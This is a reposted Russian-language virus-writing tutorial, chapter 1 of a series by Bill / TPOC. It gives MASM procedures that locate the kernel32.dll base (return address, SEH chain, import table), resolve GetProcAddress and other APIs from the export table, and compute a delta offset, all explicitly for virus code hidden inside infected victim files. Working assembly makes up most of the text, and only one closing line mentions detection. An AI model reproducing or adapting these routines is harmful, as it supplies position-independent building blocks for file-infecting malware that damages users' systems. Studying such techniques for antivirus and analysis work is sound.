Большой архив статей, книг, документации по программированию, вебдизайну, компьютерной графике, сетям, операционным системам и многому другому
 
<Добавить в Избранное>    <Сделать стартовой>    <Реклама на сайте>    <Контакты>
  Главная Документация Программы Обои   Экспорт RSS E-Books
 
 

   Программирование -> Assembler -> Вирусология: От зеленого к красному: Глава 1


Вирусология: От зеленого к красному: Глава 1

Адресное пространство процесса

База – это адрес чего-то, что лежит в адресном пространстве текущего процесса. Для каждой программы в Windows существует свое адресное пространство. Его объем 4Гб. Т.к. на самом деле такого количества памяти нет, и адреса памяти не соответствуют физическим, поэтому его называют виртуальным адресным пространством. Противоположное этому понятие называется – физическое адресное пространство. Откуда берется столько памяти, если на машине установлено, всего лишь 256 Мб? Операционная система использует дисковое пространство. Если какие-либо куски кода или данных не нужны, она сбрасывает их на диск. Шина адреса для 32х разрядного процессора 32-х разрядная, т.е. адрес может быть 32х разрядным. Диапазон значения адреса – 0..4 294 967 269d, а в шестнадцатеричной системе счисления 0..0FFFFFFFFh. Скоро, когда мы будет программировать для 64-х разрядных ОС размер виртуального адресного пространства увеличиться до 16 экзабайт. Этому пространству соответствует диапазон для указателей 0..0FFFFFFFFFFFFFFFFh. Каждый процесс работает в своем адресном пространстве. Это означает что если Вы создали программу и запустили ее, никакая другая программа не сможет читать или изменять данные в Вашей программе. Есть, конечно, много способов изменить такое положение вещей, но для этого надо использовать специальные механизмы. Адресное пространство процесса полностью не принадлежит ему. Более того, если мы обратимся не туда куда надо, то ОС завершит нашу программу сразу же. Почему так? Да потому, что виртуальное адресное пространство разбивается на разделы, которые имеют свое специфическое назначение. Раздел для данных и кода приложения имеет диапазон 00010000H..0BFFEFFFFH. Существует раздел для кода и данных режима ядра. Он находиться в диапазоне 0C0000000H..0FFFFFFFFH. Например, в отладчике режима ядра Вы можете посмотреть в зависимости от адреса, какой код трассируется – код пользовательского режима или режима ядра. Все что Вы должны из этого для себя почерпнуть это то, что все пространство памяти делиться на куски, которые имеют свое назначение. Также есть такие разделы – для выявления нулевых указателей, закрытый раздел. Я не привожу диапазоны, т.к. они обычно не нужны. Диапазоны, которые я привел, справедливы для ОС WindowsXP. Вообще, в ОС отличных от WindowsXPмогут быть другие диапазоны и другие наборы разделов, если Вас это интересует, то Вы можете узнать их точно на сайте производителя этих самых ОС, нашу горячо любимую корпорацию Micro$oft(http://www.microsoft.com). В базовом разделе PlatformSDKговорится, что нижние 2 Гб относятся к коду и данным пользовательского режима, а верхние к коду и данным режима ядра. Остальные детали о регионах могут меняться с каждым выпуском обновления.

Страницы и регионы

Для памяти в Windowsесть унифицированная единица, которой можно манипулировать напрямую – страница(page). Странице памяти можно присвоить определенный атрибут, т.е. можно ли считывать данные со страницы или записывать и т.д. Размер страницы зависит от типа процессора. Так для процессоров с архитектурой x86 размер страницы равен 4 Кб. Для 64-разрядного процессора размер страницы может отличаться от 32-разрядного. Чтобы получить размер страницы можно использовать функцию  GetSystemInfo.

Для того чтобы воспользоваться какой-либо частью виртуального адресного пространства мы должны сначала выделить в нем регион. Регион – эта область памяти (совокупность страниц) произвольного (но кратного) размера с одним и тем же атрибутом страниц. Операция выделения региона называется резервированием. При резервировании ОС выравнивает начало региона с учетом гранулярности выделения памяти(Allocation Granularity). Эта величина зависит от типа процессора, но для процессоров с архитектурой (x86,IA-64) она составляет 64 Кбайта. Чтобы получить значение гранулярности выделения памяти можно использовать функцию GetSystemInfo. Например, если исполняемый файл подгружает какие-нибудь DLL, то сначала он резервирует регион для этой DLLподходящего размера, а потом передает физическую память с диска на зарезервированный регион. Регион резервируется с учетом гранулярности, т.е. он будет кратен величине 64 Кб и значит, сама DLLбудет размещаться по адресам кратным 64 Кб, т.к. она размещается с самого начала региона. Т.к. единица памяти – страница, то размер региона кратен размеру страницы, т.е. регион выделяется страницами.

Библиотека kernel32.dll

Теперь поговорим о kernel32.dll. Это библиотека динамической компоновки(DinamicLinkLibrary) которая содержит основные системные подпрограммы(routines) для поддержки подсистемы Win32. Процедуры, которые мы используем в своих программах для Windows, так или иначе содержаться в kernel32.dll. Например, мы завершили выполнение своего кода и хотим корректно завершиться. Надо использовать функцию ExitProcess. Она содержится в kernel32.dll. Если мы хотим использовать функции из других DLL, то в kernel32.dllесть функция GetProcAddress, которая возвращает нам указатель на требуемую функцию. Функции GetProcAddressнадо указать описатель(handle) модуля и указатель на строку с именем функции. Описатель модуля можно получить с помощью функции GetModuleHandle, которой передается указатель на строку с именем функции. Вы спросите: «А зачем получать адреса функций, если я и так могу их вызывать из своих программ?». Дело в том, что проблем с адресами API-функций нет, если у Вас есть самостоятельный исполняемый модуль. При загрузке exe-файла ОС сама находит нужные адреса с помощью функции LoadLibrary. Обычно программисты об этом и не задумываются. Но представьте, что Вы пишете вирус, а он часто не является отдельным exe-файлом, а живет внутри файла-жертвы. Ему, для своего существования приходиться ;) вызывать разные API-функции, но их адреса он не знает. В одной и той же ОС, например WindowsXP, база kernel32.dll, т.е. ее (библиотеки) начало, может быть фиксирована и иметь, например, значение 7с800000h. Но в зависимости от ситуации или операционной системы этот базовый адрес может изменяться. Наша задача писать вирусы, которые могут функционировать на, как можно, большем числе платформ. Для этого нам надо сначала найти базу kernel32.dll, а потом получить адреса нужных нам API-функций из этой библиотеки. Вообще сначала нам нужна всего одна функция – GetProcAddress. Если мы используем функции из библиотек отличных от kernel32.dll, то также GetModuleHandle. Мы предполагаем, что процесс-жертва использует функции kernel32.dll. Если нужной нам библиотеки может не оказаться в адресном пространстве процесса-жертвы, то нам понадобиться и функция LoadLibrary.

Если мы используем процедуры из этой библиотеки kernel32.dll, то она должна быть спроецирована в адресное пространство процесса. Проецирование делается при создании объекта ядра «проекция файла». Точно также, при загрузке exe-файла или его запуске, загрузчик создает его проекцию в адресном пространстве созданного процесса. Потом он просматривает таблицу импорта и проецирует все dllили exeнужные приложению. База kernel32.dll- это адрес в памяти, где начинается спроецированная в память библиотека.

Получение базы kernel32.dll

Существует несколько способов получения базы kernel32.dll. Все они, так или иначе, опираются на какие-то тонкости ОС. Вы можете удивиться, но я в этой книге рассмотрю все известные мне способы. Все они будут представлены в виде ассемблерных процедур. (В терминологии языков программирования термины «функция» и «процедура» эквиваленты. Но язык Паскаль внес здесь свою путаницу. Я, естественно, буду руководствоваться традиционной и универсальной терминологией). Отдельные способы используют методы получения адреса в какой-нибудь процедуре из kernel32.dll. Суть метода в том, что мы каким-либо способом находим адрес произвольной процедуры в kernel32.dll. Каким способом, зависит от внутренней реализации ОС и ее особенностей. Другой способ заключается в проверке таблицы импорта.

Вы можете не разбираться даже в деталях реализации процедур и сразу же их использовать. Для подобного удобства около заголовка каждой из процедур будет описание входных и выходных данных. Ни одна из процедур не изменяет регистры за исключением выходного параметра. Например, если Вы вызываете процедуру ValidPE, и перед ней написано что выходной параметр помещается в регистр eax, то изменяется только регистр eax. Остальные регистры остаются с тем же содержимым что и до вызова процедуры. Признаюсь, я тут немного соврал. Не все регистры остаются с такими же значениями. Один регистр, все таки изменяется. Как Вы думаете какой? EIP. Также следите за вложенными процедурами.

Проверка PE-файла на правильность

Далее я привожу процедуру проверки PE-файла на правильность. Посмотрите на код. В исполняемом файле данные расположены,  как “MZ” и “PE”, но мы сравниваем их наоборот. Здесь вступает в силу принцип «младший байт по младшему адресу». Это означает, что в памяти байты данных расположены наоборот. Соль в том что “MZ” и “PE“ рассматриваются не как строки, а как слова в памяти. Строки – это массив байтов. Т.е. если мы берем слово, то адрес младшего байта является адресом всего слова. А младший байт это, в случае “PE”, естественно “E”. Специфика микропроцессора здесь в том, как он работает с памятью и как интерпретирует адреса. Задумайтесь в связи с этим об аппаратной поддержке типов данных. Это очень важно. Вы должны хорошо это усвоить.

;#########################################################################
;Процедура ValidPE
;Проверка правильности PE-файла
;Вход: В esi - адрес файла в памяти
;Выход: если файл правильный, то eax=1, иначе eax=0
;Заметки: обычно процедура используется с проецируемыми файлами в память
;#########################################################################
ValidPE proc
	push esi;сохраняем все регистры
	pushf;сохраняем регистр флагов
	.IF WORD ptr [esi]=="ZM"
		assume esi:ptr IMAGE_DOS_HEADER;указание компилятору, 
                                ;что в esi указатель на IMAGE_DOS_HEADER
		add esi,[esi].e_lfanew;переход к PE заголовку
		.IF WORD PTR [esi]=="EP"
			popf;восстанавливаем значения флагов
			pop esi;восстанавливаем значения регистров
			mov eax,TRUE
			ret
		.ENDIF
	.ENDIF
	popf;восстанавливаем значения флагов
	pop esi;восстанавливаем значения регистров	
	mov eax,FALSE
	ret
ValidPE endp
;#########################################################################
;Конец процедуры ValidPE
;#########################################################################

Получение базы

Допустим, что мы каким-либо способом получили адрес где-то в kernel32.dll. Способы получения такого адреса приведены в разделе “Способы получения адреса в памяти kernel32.dll”. Теперь наша задача получить базу по данному адресу. В нескольких способах мы сначала получаем адрес в памяти внутри kernel32.dll. Мы используем здесь гранулярность выделения памяти, т.е. сначала выравниваем значение адреса до 64 Кб, проверяем не база ли это уже kernel32.dll, если нет, то идем шагами назад по 64 Кб. Чтобы проверить, не база ли это, проверяем правильность формата PEфайла.

Теперь вопрос о том, сколько страниц проверять и когда останавливаться. Размер исполняемого образа kernel32.dllв WindowsXPSP2 около 1 Мб. Мы не знаем, где находиться сама процедура CreateProcess или UnhandledExceptionFilter. Но она точно содержится в секции кода PE-файла. Можно проанализировать PE-заголовок и выяснить начало секции кода и ее размер. Но это избыточные меры. В каждой ОС семейства Windows, как показывает проведенное тестирование, база находиться  без счетчика. Я тестировал свою программу на ОС Windows 95,98,ME,2000,XP.  Предлагаю Вам табличку с базами:

ОС

База kernel32.dll

Windows XP SP1

77E60000H

Windows XP SP2

7C000000H

Windows 2000 SP4

79430000H

Можно полагаться на результаты тестирования. Но я ввожу счетчик, лишь для того, чтобы сделать процедуру универсальной.

Вот исходный код процедуры для получения базы:

;#########################################################################
;Процедура GetBase							
;Поиск базы исполняемого файла, если есть адрес где-то внутри него
;Вход: В esi - адрес внутри файла в памяти
;Выход:В eax - база PE-файла
;Заметки:обычно процедура используется с спроецируемыми файлами в память
;#########################################################################
GetBase proc
LOCAL Base:DWORD;чтобы не изменять контекст по договоренности
	push esi;сохраняем все регистры, которые используются
	push ecx

	pushf;сохраняем регистр флагов
	and esi,0FFFF0000H;гранулярность выделения памяти
	mov ecx,6;счетчик страниц

NextPage:;проверка очередной страницы
	call ValidPE
	.IF eax==1
		mov Base,esi
		popf
		pop ecx
		pop esi
		mov eax,Base
		ret
	.ENDIF
	sub esi,10000H
	loop NextPage

	popf;восстанавливаем значения флагов
	pop ecx
	pop esi;восстанавливаем значения регистров
	mov eax,FALSE;не нашли базу :(
	ret
GetBase endp
;#########################################################################
;Конец процедуры GetBase
;#########################################################################

Способы получения адреса в kernel32.dll

В этом разделе будут рассмотрены способы получения адреса в памяти внутри спроецированной DLL.

Способ 1: Адрес возврата

Посмотрите такой пример:

.386
option casemap:none
.model flat,stdcall
;----------------------IncludeLib and Include-----------------------
includelib f:\tools\masm32\lib\kernel32.lib
include f:\tools\masm32\include\kernel32.inc
;--------------------End IncludeLib and Include---------------------
.data
db 0 
.code
start:
	pop eax;берем из стека значение и записываем его в eax
	invoke ExitProcess,0
end start

Что, по Вашему, поместиться в регистр eax? Как операционная система создает процесс? Правильно, с помощью функции CreateProcess. CreateProcessнаходиться где-то внутри kernel32.dll. Т.о. в eaxмы получаем адрес где-то внутри kernel32.dll. Когда запускается зараженный файл, то управление передается вирусу. Вот тут-то мы и сцапаем нужный адрес. Но это естественно надо cделать сразу при запуске программы, а то стек забьется какими-нибудь данными или адресами возврата. Вот код, который должен выполнить Ваш вирус для получения базы kernel32.dll с помощью данного способа:

start:;начало тела вируса

mov esi,[esp] call GetBase;после вызова в eax - база kernel32.dll

Просто, не правда ли?

Способ 2: SEH

SEH расшифровывается как Structured Exception Handling. По-русски – Структурная Обработка Исключения (СОИ). Вы узнаете о SEHвсе в соответствующей части данной книги. Здесь я только приведу способ, как получить адрес в kernel32.dll используя SEH. Кажется навороченно, да? Но на самом деле это достаточно просто. По адресу FS:0 находится структура, которая называется TIB(Thread Information Block). Перый DWORDTIB’а указывает на структуру которую называют ERR. Вот как она выглядит:

           

1ый dword

Указатель на следующую ERRструктуру

2ой dword

Указатель на обработчик исключния

Т.о. формируется связный список. Как узнать где заканчивается связный список? Если это последний элемент списка, то 1ый DWORD имеет значение -1. Операционная система при создании процесса сама устанавливает обработчик, чтобы, если что, выдать на экран MessageBoxс сообщением об ошибке. Если это последний элемент в цепочке структур ERR, то указатель на обработчик исключения будет находиться где-то в kernel32.dll. Важно где именно. Этот адрес не будет совпадать с функцией UnhandledExceptionFilter. Это можно проверить практически. На самом деле это стандартный обработчик ОС Windows. Вот процедура, которая демонстрирует эту технику:

;#########################################################################
;Процедура GetKernelSEH
;Поиск адрес внутри kernel32.dll
;Вход: ничего
;Выход:В eax - адрес внутри kernel32.dll
;#########################################################################
GetKernelSEH proc
	assume fs:flat;для масма обязательно. По умолчанию assume fs:err
	mov eax,dword ptr fs:[0];в eax - указатель на структуру ERR
NextElem:
	cmp dword ptr [eax],-1;последний элемент
	je Yes
	mov eax,dword ptr [eax]
	jmp NextElem
Yes:;если пришли к последнему элементу
	mov eax,[eax+4]
	ret 
GetKernelSEH endp
;#########################################################################
;Конец процедуры GetKernelSEH
;######################################################################### 

После получения адреса внутри kernel32.dll вызываем функцию GetBase, передавая ей соответствующие параметры для получения базы.

Таблица импорта

Этот способ отличается от приведенных выше. При загрузке PE-файла в память загрузчик заполняет адреса соответствующих функций из соответствующих DLL, которые нужны программе. Т.е. эти адреса хранятся внутри PE-файла, когда он загружен. Нам необходимо получить адрес любой функции из kernel32.dll

В таблице импорта есть два массива адресов. Один не изменяется. В нем содержаться сразу адреса импортируемых функций. Это применимо, в частности, для системных DLL. Второй массив заполняется при загрузке PE-файла. Чтобы найти базу kernel32.dllнадо найти таблицу импорта. В таблице импорта найти второй массив адресов. Массивы называются IMAGE_THUNK_DATA и описаны в WINNT.H. Первый массив называется OriginalFirstFunk, второй FirstThunk. Точнее так называются указатели на них, определенные в WINNT.H. Вам надо хорошо разбираться в импорте PE-файлов, чтобы понять это. Сначала мы должны найти начало зараженного файла. Потом переходим к PEзаголовку. Далее проходим до IMAGE_DATA_DIRECTORY. Переходим к элементу с индексом 1. Элемент с индексом 1 соответствует таблице импорта PE-файла. Сохраняем RVAи складываем его с базой нашего EXE. По найденному адресу находятся структуры IMAGE_IMPORT_DESCRIPTOR. В этой структуре есть элемент – указатель на имя импортируемой DLL. Проверяем не kernel32.dllли это, если нет, то идет к следующей структуре IMAGE_IMPORT_DESCRIPTOR. Если это kernel32.dll, то идем по указателю FirstThunk. Он указывает на таблицу адресов импорта или по-другому IMAGE_THUNK_DATA. Эта таблица переписывается загрузчиком PE-файла при загрузке. Вы можете подумать, что можно из таблицы импорта сразу взять адрес функции GetProcAddress. Но не факт что она будет там, так как сам EXE-файл может не импортировать функцию. Вот код который выуживает адрес одной из функций библиотеки kernel32.dll:

;#########################################################################
;Процедура GetKernelImport
;Поиск адреса внутри kernel32.dll
;Вход: ничего
;Выход:В eax - адрес внутри kernel32.dll
;#########################################################################
GetKernelImport proc
	push esi
	push ebx
	push edi

	call x
x:
	mov esi,dword ptr [esp];в esi - смещение данной команды
	add esp,4;выравниваем стек
	and esi,0FFFF0000h;используем гранулярность
y:
	call ValidPE;начало EXE-файла?
	.IF eax==0;если нет, то ищем дальше 
		sub esi,010000h
		jmp y
	.ENDIF

	mov ebx,esi;в ebx теперь будем хранить базу
	assume esi:ptr IMAGE_DOS_HEADER
	add esi,[esi].e_lfanew;в esi - заголовок PE

	assume esi:ptr IMAGE_NT_HEADERS
	lea esi,[esi].OptionalHeader;в esi - адрес опционального заголовка

	assume esi:ptr IMAGE_OPTIONAL_HEADER
	lea esi,[esi].DataDirectory;в esi - адрес DataDirectory

	add esi,8;в esi - элемент 1 в DataDirectory
	mov eax,ebx
	add eax,dword ptr [esi];в eax - смещение таблицы импорта
	mov esi,eax
	assume esi:ptr IMAGE_IMPORT_DESCRIPTOR
NextDLL:
	mov edi,[esi].Name1
	add edi,ebx
	.IF DWORD PTR [edi]=="NREK";черт, мы могли бы написать так: 
	.IF TBYTE PTR [edi]=="LLD.LENREK", но нас сдерживает формат машинной 
	          ; команды Intel в которой константа может быть не более 4 байт
		;нашли запись о kernel32!!!
		mov edi,[esi].FirstThunk
		add edi,ebx;в edi - VA массива IMAGE_THUNK_DATA 	
		mov eax,dword ptr [edi];в eax адрес какой-то из функций kernel32.dll
		pop edi
		pop ebx
		pop esi
		ret
	.ENDIF
	add esi,sizeof IMAGE_IMPORT_DESCRIPTOR
	jmp NextDLL
GetKernelImport endp
;#########################################################################
;Конец процедуры GetKernelImport
;#########################################################################

Здесь были рассмотрены наиболее популярные и известные способы. Если у Вас есть мысли по этому поводу, то присылайте их мне на электронную почту, обсудим вместе.

Поиск адресов API-функций

Поиск GetProcAddress

            Вот мы получили базу kernel32.dllв адресном пространстве текущего процесса. Теперь нам надо найти для начала функцию GetProcAddress. Cее помощью мы получим желаемые адреса API-функций, которые мы будем использовать. Чтобы получить адрес функции GetProcAddressбудет анализировать таблицу экспорта PE-файла.

            Для начала находим таблицу экспорта. Из нее получаем адрес массива AddressOfNames. Это массив двойных слов. Каждое двойное слово – это RVAна ASCIIZстроку с именем экспортируемой функции. Мы проходим по этому массиву и сравниваем имя «GetProcAddress» с именем экспортируемой функции. Номер слова в AddressOfNames будет индексом для массива AddressOfFunctions. Но нельзя забывать о элементе nBaseструктуры IMAGE_EXPORT_DIRECTORY. Это начальный номер экспорта для экспортируемых функций. После получения индекса функции мы должны нормализовать его значение относительно nBase. Полученный индекс используем для получения адреса функции из массива AddressOfFunctions.

Вот процедура которая все это делает:

;Процедура GetGetProcAddress
;Поиск адреса внутри kernel32.dll
;Вход: в стек кладется смещение имени "GetProcAddress"
;	ebx - база kernel32.dll
;Выход:В eax - адрес функции GetProcAddress
;#########################################################################
GetGetProcAddress proc NameFunc:DWORD
	pushad;сохраняем регистры
	mov esi,ebx
	assume esi:ptr IMAGE_DOS_HEADER
	add esi,[esi].e_lfanew;в esi - заголовок PE

	assume esi:ptr IMAGE_NT_HEADERS
	lea esi,[esi].OptionalHeader;в esi - адрес опционального заголовка

	assume esi:ptr IMAGE_OPTIONAL_HEADER
	lea esi,[esi].DataDirectory;в esi - адрес DataDirectory
	mov esi,dword ptr [esi]
	add esi,ebx;в esi - структура IMAGE_EXPORT_DIRECTORY
	push esi
	assume esi:ptr IMAGE_EXPORT_DIRECTORY
	mov esi,[esi].AddressOfNames
	add esi,ebx;в esi - массив имен функций
	xor edx,edx;в edx - храним индекс

	mov eax,esi
	mov esi,dword ptr [esi]
NextName:;поиск следующего имени функции
	add esi,ebx
	mov edi,NameFunc
	mov ecx,14;количество байт в "GetProcAddress"
	cld
	repe cmpsb
	.IF ecx==0;нашли имя
		jmp GetAddr
	.ENDIF
	inc edx
	add eax,4
	mov esi,dword ptr [eax]
	jmp NextName
GetAddr:;если нашли "GetProcAddress"
	pop esi
	mov edi,esi
	mov esi,[esi].AddressOfNameOrdinals
	add esi,ebx;в esi - массив слов с индесками
	mov dx,word ptr [esi][edx*2]
	assume edi:ptr IMAGE_EXPORT_DIRECTORY
	sub edx,[edi].nBase;вычитаем начальный ординал
	inc edx;т.к. начальный ординал начинается с 1
	mov esi,[edi].AddressOfFunctions
	add esi,ebx;в esi - массив адресов функций
	mov eax,dword ptr [esi][edx*4]
	add eax,ebx;в eax - адрес функции GetProcAddress
	mov NameFunc,eax
	popad;восстанавливаем регистры
	mov eax,NameFunc
	ret
GetGetProcAddress endp	
;#########################################################################
;Конец процедуры GetGetProcAddress
;#########################################################################

Получение остальных адресов функций

            После вызова функции GetGetProcAddressв регистре eax у нас есть адрес функции GetProcAddress. Передавая соответствующие параметры функции, получаем адреса других функций. Вызывать функцию можно как calleax.Взляните на код:

.data
	AddAtom1 db "AddAtomA",0
start:
	call GetKernelImport
	mov esi,eax
	call GetBase
	mov esi,eax
	push offset NameGetProcAddress
	call GetGetProcAddress
	push offset AddAtom1;указатель на строку
	push esi;передаем базу kernel32.dll
	call eax

После вызова calleaxв регистре eaxбудет лежать адрес функции AddAtomA. При поиске не забывайте, что одна и та же функция может присутствовать в 2-х версиях – ANSIи UNICODE. Функции принимающие ANSI-строки, у них в конце имени стоит буква «A». Функции принимающие UNICODE-строки, у них в конце имени стоит буква «W». В примере выше, функция AddAtomпринимает указатель на ANSI-строку. Как узнать, что функция существует в двух вариантах? Есть два способа. 1) Подумать :) Если функция принимает какую-нибудь строку, то она точно в двух вариантах.2) В Win32.hlp– справочнике по API-функциям, в описании каждой функции можно посмотреть краткую информацию о функции (кнопка QuickInfo). Там есть строка Unicode. Если там что-нибудь, кроме None, то функция существует в двух вариантах, иначе - в одном. Описание функции GetProcAddress, я думаю, Вы посмотрите сами.

Нам может быть полезна функция LoadLibrary, которая загружает PE-файл в адресное пространство процесса. Если модуль уже загружен, то эта функция вернет нам базовый адрес данного модуля. Она будет нужна, если наш зверь требует функции, которые могут не быть в KERNEL32.DLL. Единственный параметр, который передается LoadLibrary, это адрес строки с именем требуемой DLLили EXE-файла. Теперь я опишу, как действуют большинство вирусов при получении адресов APIфункций.

Вирус хранит в своем теле имена API-функций чтобы потом найти их адреса. Он может также хранить контрольные суммы для строк, содержащих имена. Но я пока не буду затрагивать теорию контрольных сумм. Все что известно о хешах и контрольных суммах, стандартные алгоритмы и примеры использования,  Вы узнаете в соответствующей главе. А пока потерпите. Здесь мы рассмотрим пока только простые имена.

Где внутри тела вируса есть такие строки:

imp:
	db 'FindFirstFileA',0
	db 'FindNextFileA',0
	db 'FindClose',0
db 'CreateFileA',0

Им соответствуют переменные вида:

f:
_FindFirstFileA dd ?
_FindNextFileA dd ?
_FindClose dd ?
_CreateFileA dd ?

Важно, что между ними взаимнооднозначное соответствие (привет Соломатину О.Д.!). Порядок, тоже сохраняется. Этими свойствами мы и пользуемся при получении адресов. Можно, конечно, обойтись без циклов и соответсвий, но в ассемблере халявы нет, в вирмейкинге тем более.

Ниже приведен код процедуры, которая заполняет соответствующую область адресами нужных API-функций:

;#########################################################################
;Процедура GetAPIs
;Получение адресов всех требуемых API-функций
;Вход: В edi указатель на массив ASCIIZ строк имен функций
;	В ebx - смещение массива двойных слов которые заполняет функция
;	В esi - база kernel32.dll
;	В ecx - адрес функции GetProcAddress
;	В стек кладется количество функций
;Выход:заполняются соответствующие поля
;#########################################################################
GetAPIs proc Number:DWORD
	Pushad
	mov eax,ecx
	mov ecx,Number
NextFunc:
	push eax
	push esi
	push edi
	push ebx
	push ecx

	push edi;имя функции
	push esi;база kernel32
	call eax;вызов GetProcAddress
	
	pop ecx
	pop ebx
	pop edi
	pop esi

	mov dword ptr [ebx],eax;помещаем адрес функции в переменную
	pop eax
	add ebx,4;следующая переменная
	push ecx;сохраняем счетчик
	mov ecx,30;для цепочечной команды
	push eax
	mov al,0;ищем 0
	repne scasb
	pop eax
	pop ecx
	loop NextFunc
	popad
	ret
GetAPIs endp
;#########################################################################
;Конец процедуры GetAPIs
;#########################################################################

Далее я привожу пример программы которая демонстрирует использование данных методик. Также программа использует дельта смещение описанное выше. Программа просто создает файл с именем “c:\2.txt”, а потом завершается. Естественно, что адреса API функций мы получаем сами. Никаких библиотек импорта, как Вы поняли, не требуется. В файле Part1.incнаходятся требуемые функции, листинги которых приведены выше. Файл Part1.inc можно скачать отсюда.

.386
option casemap:none
.model flat,stdcall
include \tools\masm32\include\windows.inc
includelib \tools\masm32\lib\kernel32.lib
include \tools\masm32\include\kernel32.inc
.data
	db 0
.code
	invoke ExitProcess,0
start:

call delta
delta:
	mov ebp,dword ptr [esp]
	sub ebp,offset delta
	lea ebx,[ebp+x]
	jmp x
	a db "c:\\2.txt",0
	NameGetProcAddress db "GetProcAddress",0
imp:
	db 'CreateFileA',0
address label DWORD
	_CreateFileA dd ?
	include part1.inc
x:	
	lea eax,[ebp+GetKernelSEH]
	call eax
	mov esi,eax
	lea eax,[ebp+GetBase]
	call eax

	mov esi,eax

	lea eax,[ebp+NameGetProcAddress]
	push eax
	lea eax,[ebp+GetGetProcAddress]
	mov ebx,esi
	call eax

	mov ecx,eax
	lea edi,[ebp+imp]
	lea ebx,[ebp+address]
	push 1
	lea eax,[ebp+GetAPIs]
	call eax
	mov eax,[ebp+_CreateFileA]
	push 0
	push FILE_ATTRIBUTE_NORMAL
	push CREATE_NEW
	push 0
	push 0
	push 0
	lea ecx,[ebp+a]
	push ecx
	call eax	
end start

Кстати у меня к Вам маленький вопрос уважаемый читатель. Что будет, если мы получим базу не с помощью функции callGetKernelSEH, а с помощью функции GetKernelImport? Ответ: программа глюканет. Вы заметили, что наша программа не пользуется никакими прототипами? Из-за этого у нее нет экспортируемых функций. Но, если Вы будете внедрять код, то этот метод отлично подойдет, т.к. практически все Windowsприложения импортируют функции из библиотеки kernel32.dll. Кроме такой, листинг которой, приведен выше. Не забудьте поменять атрибут секции кода, если будете компилировать программу.

Дельта смещение

Это последняя вещь, о которой я хотел Вам рассказать в той главе. Представьте, что Вы заразили файл. Теперь код вируса или его часть находиться в другом exe-файле. Например, возьмем переменную _CreateFileA. Она имеет определенное смещение. Смещение это фиксировано. И если код, приведенный выше запишется в другой exe-файл, то это смещение будет уже некорректным. Наша задача сделать так, чтобы смещение не зависело от местоположения кода. Для этого, нам надо узнать по какому смещению находиться наш код. И относительно этого смещения вычислить смещение нашей переменной. Это же относиться и к функциям нашего кода. Дельта смещение – это значение, показывающее на сколько байт сместилось положение нашего кода. Проще говоря дельта-смещение – это адрес где находиться код которые сейчас выполняется. Дельта-смещение вычисляют обычно вначале старта кода вируса.

Вот пример получения дельта-смещения:

call delta
delta:
	pop ebp
    sub ebp,offset delta

После выполнения этого кода в регистре ebpнаходиться дельта смещение. Вот еще несколько способов получения дельта смещения:

d:	jmp c1
	x dw 0
c1:	lea ebp,x
	sub ebp,offset d
	sub ebp,2;в EBP - дельта смещение

Еще один, по типу предыдущего:

d:	jmp c1
	x db "Hello!!! I'm Crazy Virus",0
c1:	lea ebp,x
	sub ebp,offset d
	sub ebp,2;в EBP - дельта смещение

Вот этот прием от BillyBelcebu:

mov ebx,old_size_of_infected_file;используем размер файла, до инфецирования
jmp ebx

И Еще:

m:	lea ebx,m
	sub ebx,offset m;в EBX - дельта смещение

            На самом деле существует бесконечное число способов получить дельта смещение. Это зависит только от Вашей фантазии и знания языка ассемблер.

Использование дельта смещения

Теперь, как пользоваться переменными или функциями. Пусть у нас есть две переменные Xи Y. Пусть дельта смещение находиться в регистре EBP, тогда обращение к переменным в Вашем коде будет выглядить следующим образом:

...
mov eax,[EBP+offset X]
xor eax,4
mov [EBP+offset Y],eax
...
jmp x;например, переход к нормальной точке входа
X DB 123
Y DW 0
Т.к. адреса функций помещаются в переменные, то этот способ
 также можно использовать для вызова функций:
...
push 0
mov eax,[EBP+offset _ExitProcess]
call eax
...
jmp x;например, переход к нормальной точке входа
_ExitProcess dd ?

Защита

В данной главе приводились методы, которые используют очень много вирусов. Этот код типичен. Эврестик просто должен распознавать что-то подобное.

Благодарности

В этом разделе я хочу выразить благодарности людям, которые помогли мне:

DayDream/TPOC Volodya/wasm.ru – Вы все его знаете, спасибо за поддержку
Aquila/wasm.ru – твои переводы помогли многим, мне в том числе
Svl
/TPOC
Follower
/TPOC
Occas’
Ion– спасибо за интересные идеи
z0mbie/29a– большой respect Тебе
Sars
The Great Zopuh
Slon
NoName

Автор: Bill / TPOC
Источник: www.wasm.ru

Ссылки по теме
CODE-RIP: искусство выдирания чужого кода - Часть I. Теория
Пишем свой загрузочный сектор
Динамический опрос клавиатуры
Основы разработки прикладных виртуальных драйверов
Оптимизация программ на ассемблере
 

Компьютерная документация от А до Я - Главная

 

 
Интересное в сети
 
10 новых программ
CodeLobster PHP Edition 3.7.2
WinToFlash 0.7.0008
Free Video to Flash Converter 4.7.24
Total Commander v7.55
aTunes 2.0.1
Process Explorer v12.04
Backup42 v3.0
Predator 2.0.1
FastStone Image Viewer 4.1
Process Lasso 3.70.4
FastStone Image Viewer 4.0
Xion Audio Player 1.0.125
Notepad GNU v.2.2.8.7.7
K-Lite Codec Pack 5.3.0 Full


Наши сервисы
Рассылка новостей. Подпишитесь на рассылку сейчас и вы всегда будете в курсе последних событий в мире информационных технологий.
Новостные информеры. Поставьте наши информеры к себе и у вас на сайте появится дополнительный постоянно обновляемый раздел.
Добавление статей. Если вы являетесь автором статьи или обзора на тему ИТ присылайте материал нам, мы с удовольствием опубликуем его у себя на сайте.
Реклама на сайте. Размещая рекламу у нас, вы получите новых посетителей, которые могут стать вашими клиентами.
 
Это интересно
 

Copyright © CompDoc.Ru
При цитировании и перепечатке ссылка на www.compdoc.ru обязательна. Карта сайта.
 
Rambler's Top100